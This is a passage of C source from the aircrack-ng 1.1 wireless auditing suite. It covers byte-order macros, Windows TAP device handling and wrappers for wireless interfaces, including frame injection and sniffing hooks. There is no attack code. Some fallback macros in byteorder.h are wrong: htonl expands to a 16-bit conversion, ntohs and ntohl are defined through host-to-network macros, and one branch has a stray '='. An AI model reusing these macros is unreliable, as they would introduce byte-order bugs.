ti_fd_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_fd; } static int ti_read_linux(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_linux(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_linux(char *iface) { struct tif *ti; struct tip_linux *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_linux; ti->ti_set_mtu = ti_set_mtu_linux; ti->ti_get_mtu = ti_get_mtu_linux; ti->ti_close = ti_close_linux; ti->ti_fd = ti_fd_linux; ti->ti_read = ti_read_linux; ti->ti_write = ti_write_linux; ti->ti_set_mac = ti_set_mac_linux; ti->ti_set_ip = ti_set_ip_linux; /* setup iface */ fd = ti_do_open_linux(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tl_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_linux(iface); } aircrack-ng-1.1/src/osdep/byteorder.h0000644000000000000000000002756311326174350016322 0ustar rootroot/* * Compatibility header * * Copyright (C) 2009 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef _AIRCRACK_NG_BYTEORDER_H_ #define _AIRCRACK_NG_BYTEORDER_H_ #define ___my_swab16(x) \ ((u_int16_t)( \ (((u_int16_t)(x) & (u_int16_t)0x00ffU) << 8) | \ (((u_int16_t)(x) & (u_int16_t)0xff00U) >> 8) )) #define ___my_swab32(x) \ ((u_int32_t)( \ (((u_int32_t)(x) & (u_int32_t)0x000000ffUL) << 24) | \ (((u_int32_t)(x) & (u_int32_t)0x0000ff00UL) << 8) | \ (((u_int32_t)(x) & (u_int32_t)0x00ff0000UL) >> 8) | \ (((u_int32_t)(x) & (u_int32_t)0xff000000UL) >> 24) )) #define ___my_swab64(x) \ ((u_int64_t)( \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000000000ffULL) << 56) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000000000ff00ULL) << 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000000000ff0000ULL) << 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000ff000000ULL) << 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000ff00000000ULL) >> 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000ff0000000000ULL) >> 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00ff000000000000ULL) >> 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0xff00000000000000ULL) >> 56) )) /* * Linux */ #if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) || defined(__gnu_linux__) #include #include #include #ifndef __int8_t_defined typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif #endif /* * Cygwin */ #if defined(__CYGWIN32__) #include #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Windows (DDK) */ #if defined(__WIN__) #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * MAC (Darwin) */ #if defined(__APPLE_CC__) #if defined(__x86_64__) && defined(__APPLE__) #include #define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t)x) #define __swab32(x) (unsigned long) OSSwapInt32((uint32_t)x) #define __swab16(x) (unsigned short) OSSwapInt16((uint16_t)x) #define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t)x) #define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t)x) #define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t)x) #define __le64_to_cpu(x) (unsigned long long) OSSwapLittleToHostInt64((uint64_t)x) #define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t)x) #define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t)x) #define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t)x) #define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t)x) #define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t)x) #define __cpu_to_le64(x) (unsigned long long) OSSwapHostToLittleInt64((uint64_t)x) #define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t)x) #define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t)x) #else #include #define __swab64(x) NXSwapLongLong(x) #define __swab32(x) NXSwapLong(x) #define __swab16(x) NXSwapShort(x) #define __be64_to_cpu(x) NXSwapBigLongLongToHost(x) #define __be32_to_cpu(x) NXSwapBigLongToHost(x) #define __be16_to_cpu(x) NXSwapBigShortToHost(x) #define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x) #define __le32_to_cpu(x) NXSwapLittleLongToHost(x) #define __le16_to_cpu(x) NXSwapLittleShortToHost(x) #define __cpu_to_be64(x) NXSwapHostLongLongToBig(x) #define __cpu_to_be32(x) NXSwapHostLongToBig(x) #define __cpu_to_be16(x) NXSwapHostShortToBig(x) #define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x) #define __cpu_to_le32(x) NXSwapHostLongToLittle(x) #define __cpu_to_le16(x) NXSwapHostShortToLittle(x) #endif #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __PDP_ENDIAN 3412 #define __BYTE_ORDER __BIG_ENDIAN #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Solaris * ------- */ #if defined(__sparc__) #include #include #include #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Custom stuff */ #if defined(__MACH__) && !defined(__APPLE_CC__) #include #define __cpu_to_be64(x) = OSSwapHostToBigInt64(x) #define __cpu_to_be32(x) = OSSwapHostToBigInt32(x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif // FreeBSD #ifdef __FreeBSD__ #include #endif // XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...? // XXX: Mac: Check http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h // http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html // Write to apple to ask what should be used. #if defined(LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN #elif defined(__LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN #elif defined(_LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN #endif #if defined(BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN #elif defined(__BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN #elif defined(_BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN #endif #if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN) #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if defined(BYTE_ORDER) #if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif defined(__BYTE_ORDER) #if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif defined(_BYTE_ORDER) #if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #endif #ifndef AIRCRACK_NG_BYTE_ORDER #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #endif #ifndef htobe16 #define htobe16 ___my_swab16 #endif #ifndef htobe32 #define htobe32 ___my_swab32 #endif #ifndef betoh16 #define betoh16 ___my_swab16 #endif #ifndef betoh32 #define betoh32 ___my_swab32 #endif #ifndef htole16 #define htole16(x) (x) #endif #ifndef htole32 #define htole32(x) (x) #endif #ifndef letoh16 #define letoh16(x) (x) #endif #ifndef letoh32 #define letoh32(x) (x) #endif #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) #endif #ifndef htobe16 #define htobe16(x) (x) #endif #ifndef htobe32 #define htobe32(x) (x) #endif #ifndef betoh16 #define betoh16(x) (x) #endif #ifndef betoh32 #define betoh32(x) (x) #endif #ifndef htole16 #define htole16 ___my_swab16 #endif #ifndef htole32 #define htole32 ___my_swab32 #endif #ifndef letoh16 #define letoh16 ___my_swab16 #endif #ifndef letoh32 #define letoh32 ___my_swab32 #endif #endif // Common defines #define cpu_to_le64 __cpu_to_le64 #define le64_to_cpu __le64_to_cpu #define cpu_to_le32 __cpu_to_le32 #define le32_to_cpu __le32_to_cpu #define cpu_to_le16 __cpu_to_le16 #define le16_to_cpu __le16_to_cpu #define cpu_to_be64 __cpu_to_be64 #define be64_to_cpu __be64_to_cpu #define cpu_to_be32 __cpu_to_be32 #define be32_to_cpu __be32_to_cpu #define cpu_to_be16 __cpu_to_be16 #define be16_to_cpu __be16_to_cpu #ifndef le16toh #define le16toh le16_to_cpu #endif #ifndef be16toh #define be16toh be16_to_cpu #endif #ifndef le32toh #define le32toh le32_to_cpu #endif #ifndef be32toh #define be32toh be32_to_cpu #endif #ifndef htons #define htons be16_to_cpu #endif #ifndef htonl #define htonl cpu_to_be16 #endif #ifndef ntohs #define ntohs cpu_to_be16 #endif #ifndef ntohl #define ntohl cpu_to_be32 #endif #endif aircrack-ng-1.1/src/osdep/cygwin_tap.c0000644000000000000000000003046410761053203016447 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #include "tap-win32/common.h" extern int cygwin_read_reader(int fd, int plen, void *dst, int len); static void *ti_reader(void *arg); struct tip_cygwin { char tc_name[MAX_IFACE_NAME]; HANDLE tc_h; pthread_t tc_reader; volatile int tc_running; int tc_pipe[2]; /* reader -> parent */ pthread_mutex_t tc_mtx; HKEY tc_key; char tc_guid[256]; }; /** * Stop the reader thread (if it is running) * @return 0 if stopped or -1 if it failed to stop it */ static int stop_reader(struct tip_cygwin *priv) { if (priv->tc_running == 1) { int tries = 3; priv->tc_running = 0; while ((priv->tc_running != -1) && tries--) sleep(1); if (tries <= 0) return -1; } return 0; } /** * Start reader thread * @return -1 if failed to start thread or 0 if it is successful */ static int start_reader(struct tip_cygwin *priv) { priv->tc_running = 2; if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv)) return -1; priv->tc_running = 1; return 0; } /** * Change status (enable/disable) of the device */ static int ti_media_status(struct tip_cygwin *priv, int on) { ULONG s = on; DWORD len; if (!DeviceIoControl(priv->tc_h, TAP_IOCTL_SET_MEDIA_STATUS, &s, sizeof(s), &s, sizeof(s), &len, NULL)) return -1; return 0; } /** * Try opening device */ static int ti_try_open(struct tip_cygwin *priv, char *guid) { int any = priv->tc_guid[0] == 0; char device[256]; HANDLE h; if (!any && strcmp(priv->tc_guid, guid) != 0) return 0; /* open the device */ snprintf(device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX); h = CreateFile(device, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED, 0); if (h == INVALID_HANDLE_VALUE) { if (any) return 0; else return -1; } priv->tc_h = h; /* XXX check tap version */ /* bring iface up */ if (ti_media_status(priv, 1) == -1) return -1; /* XXX grab printable name */ snprintf(priv->tc_name, sizeof(priv->tc_name)-1, "%s", guid); if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid); return 1; } /** * Read registry value * @param key Registry key * @return 0 if successful, -1 if it failed */ static int ti_read_reg(struct tip_cygwin *priv, char *key, char *res, int len) { DWORD dt, l = len; if (RegQueryValueEx(priv->tc_key, key, NULL, &dt, (unsigned char*) res, &l) != ERROR_SUCCESS) return -1; if (dt != REG_SZ) return -1; if ((int)l > len) return -1; return 0; } static int ti_get_devs_component(struct tip_cygwin *priv, char *name) { char key[256]; int rc = 0; snprintf(key, sizeof(key)-1, "%s\\%s", ADAPTER_KEY, name); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key) != ERROR_SUCCESS) return -1; if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1) goto out; /* make sure component id matches */ if (strcmp(key, TAP_COMPONENT_ID) != 0) goto out; /* get guid */ if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1) goto out; rc = ti_try_open(priv, key); out: if (rc != 1) { RegCloseKey(priv->tc_key); priv->tc_key = 0; } return rc; } static int ti_do_open_cygwin(struct tip_cygwin *priv) { int rc = -1; HKEY ak47; int i; char name[256]; DWORD len; /* open network driver key */ if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47) != ERROR_SUCCESS) return -1; /* find tap */ for (i = 0;; i++) { len = sizeof(name); if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break; rc = ti_get_devs_component(priv, name); if (rc) break; rc = -1; } RegCloseKey(ak47); if (rc == 1) rc = 0; return rc; } static void ti_do_free(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); /* stop reader */ stop_reader(priv); if (priv->tc_pipe[0]) { close(priv->tc_pipe[0]); close(priv->tc_pipe[1]); } /* close card */ if (priv->tc_h) { ti_media_status(priv, 0); CloseHandle(priv->tc_h); } if (priv->tc_key) RegCloseKey(priv->tc_key); free(priv); free(ti); } static void ti_close_cygwin(struct tif *ti) { ti_do_free(ti); } static char *ti_name_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_name; } /* XXX */ static int ti_is_us(struct tip_cygwin *priv, HDEVINFO *hdi, SP_DEVINFO_DATA *did) { char buf[256]; DWORD len = sizeof(buf), dt; if (priv) {} /* XXX unused */ if (!SetupDiGetDeviceRegistryProperty(*hdi, did, SPDRP_DEVICEDESC, &dt, (unsigned char*)buf, len, &len)) return 0; if (dt != REG_SZ) return 0; return strstr(buf, "TAP-Win32") != NULL; } static int ti_reset_state(HDEVINFO *hdi, SP_DEVINFO_DATA *did, DWORD state) { SP_PROPCHANGE_PARAMS parm; parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader); parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE; parm.Scope = DICS_FLAG_GLOBAL; parm.StateChange = state; if (!SetupDiSetClassInstallParams(*hdi, did, (SP_CLASSINSTALL_HEADER*) &parm, sizeof(parm))) return -1; if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did)) return -1; return 0; } /** * Reset the device * @return 0 if successful, -1 if it failed */ static int ti_do_reset(HDEVINFO *hdi, SP_DEVINFO_DATA *did) { int rc; rc = ti_reset_state(hdi, did, DICS_DISABLE); if (rc) return rc; return ti_reset_state(hdi, did, DICS_ENABLE); } static int ti_restart(struct tip_cygwin *priv) { /* kill handle to if */ if (priv->tc_h) CloseHandle(priv->tc_h); /* stop reader */ if (stop_reader(priv)) return -1; /* reopen dev */ if (ti_do_open_cygwin(priv)) return -1; return start_reader(priv); } static int ti_reset(struct tip_cygwin *priv) { HDEVINFO hdi; SP_DEVINFO_DATA did; int i; int rc = -1; hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL, DIGCF_PRESENT); if (hdi == INVALID_HANDLE_VALUE) return -1; /* find device */ for (i = 0;; i++) { did.cbSize = sizeof(did); if (!SetupDiEnumDeviceInfo(hdi, i, &did)) break; if (!ti_is_us(priv, &hdi, &did)) continue; rc = ti_do_reset(&hdi, &did); if (rc) break; rc = ti_restart(priv); break; } SetupDiDestroyDeviceInfoList(hdi); return rc; } static int ti_set_mtu_cygwin(struct tif *ti, int mtu) { struct tip_cygwin *priv = ti_priv(ti); char m[16]; char mold[sizeof(m)]; char *key = "MTU"; /* check if reg remains unchanged to avoid reset */ snprintf(m, sizeof(m)-1, "%d", mtu); if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1) { if (strcmp(m, mold) == 0) return 0; } /* change */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *) m, strlen(m)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device MAC address * @param mac New MAC address * @return -1 if it failed, 0 on success */ static int ti_set_mac_cygwin(struct tif *ti, unsigned char *mac) { struct tip_cygwin *priv = ti_priv(ti); char str[2*6+1]; char strold[sizeof(str)]; int i; char *key = "MAC"; /* convert */ str[0] = 0; for (i = 0; i < 6; i++) { char tmp[3]; if (sprintf(tmp, "%.2X", *mac++) != 2) return -1; strcat(str, tmp); } /* check if changed */ if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1) { if (strcmp(str, strold) == 0) return 0; } /* own */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *)str, strlen(str)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device IP address * @param ip New IP address * @return -1 if it failed, 0 on success */ static int ti_set_ip_cygwin(struct tif *ti, struct in_addr *ip) { struct tip_cygwin *priv = ti_priv(ti); ULONG ctx, inst; IP_ADAPTER_INFO ai[16]; DWORD len = sizeof(ai); PIP_ADAPTER_INFO p; PIP_ADDR_STRING ips; if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS) return -1; p = ai; while (p) { if (strcmp(priv->tc_guid, p->AdapterName) != 0) { p = p->Next; continue; } /* delete ips */ ips = &p->IpAddressList; while (ips) { DeleteIPAddress(ips->Context); ips = ips->Next; } /* add ip */ if (AddIPAddress(ip->s_addr, htonl(0xffffff00), p->Index, &ctx, &inst) != NO_ERROR) return -1; break; } return 0; } static int ti_fd_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_pipe[0]; } static int ti_read_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); int plen; if (priv->tc_running != 1) return -1; /* read len */ if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1) return -1; return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len); } static int ti_wait_complete(struct tip_cygwin *priv, OVERLAPPED *o) { DWORD sz; if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE)) return -1; return sz; } static int ti_do_io(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { BOOL rc; DWORD sz; int err; /* setup overlapped */ memset(o, 0, sizeof(*o)); /* do io */ if (wr) rc = WriteFile(priv->tc_h, buf, len, &sz, o); else rc = ReadFile(priv->tc_h, buf, len, &sz, o); /* done */ if (rc) return sz; if ((err = GetLastError()) != ERROR_IO_PENDING) return -1; return 0; /* pending */ } static int ti_do_io_lock(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { int rc; if (pthread_mutex_lock(&priv->tc_mtx)) return -1; rc = ti_do_io(priv, buf, len, o, wr); if (pthread_mutex_unlock(&priv->tc_mtx)) return -1; /* done */ if (rc) return rc; return ti_wait_complete(priv, o); } static int ti_write_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); OVERLAPPED o; return ti_do_io_lock(priv, buf, len, &o, 1); } static int ti_read_packet(struct tip_cygwin *priv, void *buf, int len) { OVERLAPPED o; int rc; while (priv->tc_running) { rc = ti_do_io_lock(priv, buf, len, &o, 0); if (rc) return rc; } return -1; } static void *ti_reader(void *arg) { struct tip_cygwin *priv = arg; unsigned char buf[2048]; int len; while (priv->tc_running) { /* read a packet */ if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1) break; assert(len > 0); /* write it's length */ if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; /* write payload */ if (write(priv->tc_pipe[1], buf, len) != len) break; } priv->tc_running = -1; return NULL; } static struct tif *ti_open_cygwin(char *iface) { struct tif *ti; struct tip_cygwin *priv; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; priv = ti_priv(ti); ti->ti_name = ti_name_cygwin; ti->ti_set_mtu = ti_set_mtu_cygwin; ti->ti_close = ti_close_cygwin; ti->ti_fd = ti_fd_cygwin; ti->ti_read = ti_read_cygwin; ti->ti_write = ti_write_cygwin; ti->ti_set_mac = ti_set_mac_cygwin; ti->ti_set_ip = ti_set_ip_cygwin; /* setup iface */ if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface); if (ti_do_open_cygwin(priv) == -1) goto err; /* setup reader */ if (pipe(priv->tc_pipe) == -1) goto err; if (pthread_mutex_init(&priv->tc_mtx, NULL)) goto err; /* launch reader */ if (start_reader(priv)) goto err; return ti; err: ti_do_free(ti); return NULL; } struct tif *ti_open(char *iface) { return ti_open_cygwin(iface); } aircrack-ng-1.1/src/osdep/cygwin.h0000644000000000000000000000357010761053203015606 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ // DLL function that have to be exported #define CYGWIN_DLL_INIT cygwin_init #define CYGWIN_DLL_SET_CHAN cygwin_set_chan #define CYGWIN_DLL_INJECT cygwin_inject #define CYGWIN_DLL_SNIFF cygwin_sniff #define CYGWIN_DLL_GET_MAC cygwin_get_mac #define CYGWIN_DLL_SET_MAC cygwin_set_mac #define CYGWIN_DLL_CLOSE cygwin_close /* * Prototypes: * int CYGWIN_DLL_INIT (char *param); * int CYGWIN_DLL_SET_CHAN (int chan); * int CYGWIN_DLL_INJECT (void *buf, int len, struct tx_info *ti); * int CYGWIN_DLL_SNIFF (void *buf, int len, struct rx_info *ri); * int CYGWIN_DLL_GET_MAC (unsigned char *mac); * int CYGWIN_DLL_SET_MAC (unsigned char *mac); * void CYGWIN_DLL_CLOSE (void); * * Notes: * - sniff can block and inject can be called by another thread. * - return -1 for error. * */ /* XXX the interface is broken. init() should return a void* that is passed to * each call. This way multiple instances can be open by a single process. * -sorbo * */ aircrack-ng-1.1/src/osdep/osdep.c0000644000000000000000000001142311052600530015402 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include "osdep.h" #include "network.h" int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { assert(wi->wi_read); return wi->wi_read(wi, h80211, len, ri); } int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { assert(wi->wi_write); return wi->wi_write(wi, h80211, len, ti); } int wi_set_channel(struct wif *wi, int chan) { assert(wi->wi_set_channel); return wi->wi_set_channel(wi, chan); } int wi_get_channel(struct wif *wi) { assert(wi->wi_get_channel); return wi->wi_get_channel(wi); } int wi_set_freq(struct wif *wi, int freq) { assert(wi->wi_set_freq); return wi->wi_set_freq(wi, freq); } int wi_get_freq(struct wif *wi) { assert(wi->wi_get_freq); return wi->wi_get_freq(wi); } int wi_get_monitor(struct wif *wi) { assert(wi->wi_get_monitor); return wi->wi_get_monitor(wi); } char *wi_get_ifname(struct wif *wi) { return wi->wi_interface; } void wi_close(struct wif *wi) { assert(wi->wi_close); wi->wi_close(wi); } int wi_fd(struct wif *wi) { assert(wi->wi_fd); return wi->wi_fd(wi); } struct wif *wi_alloc(int sz) { struct wif *wi; void *priv; /* Allocate wif & private state */ wi = malloc(sizeof(*wi)); if (!wi) return NULL; memset(wi, 0, sizeof(*wi)); priv = malloc(sz); if (!priv) { free(wi); return NULL; } memset(priv, 0, sz); wi->wi_priv = priv; return wi; } void *wi_priv(struct wif *wi) { return wi->wi_priv; } int wi_get_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_get_mac); return wi->wi_get_mac(wi, mac); } int wi_set_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_set_mac); return wi->wi_set_mac(wi, mac); } int wi_get_rate(struct wif *wi) { assert(wi->wi_get_rate); return wi->wi_get_rate(wi); } int wi_set_rate(struct wif *wi, int rate) { assert(wi->wi_set_rate); return wi->wi_set_rate(wi, rate); } int wi_get_mtu(struct wif *wi) { assert(wi->wi_get_mtu); return wi->wi_get_mtu(wi); } int wi_set_mtu(struct wif *wi, int mtu) { assert(wi->wi_set_mtu); return 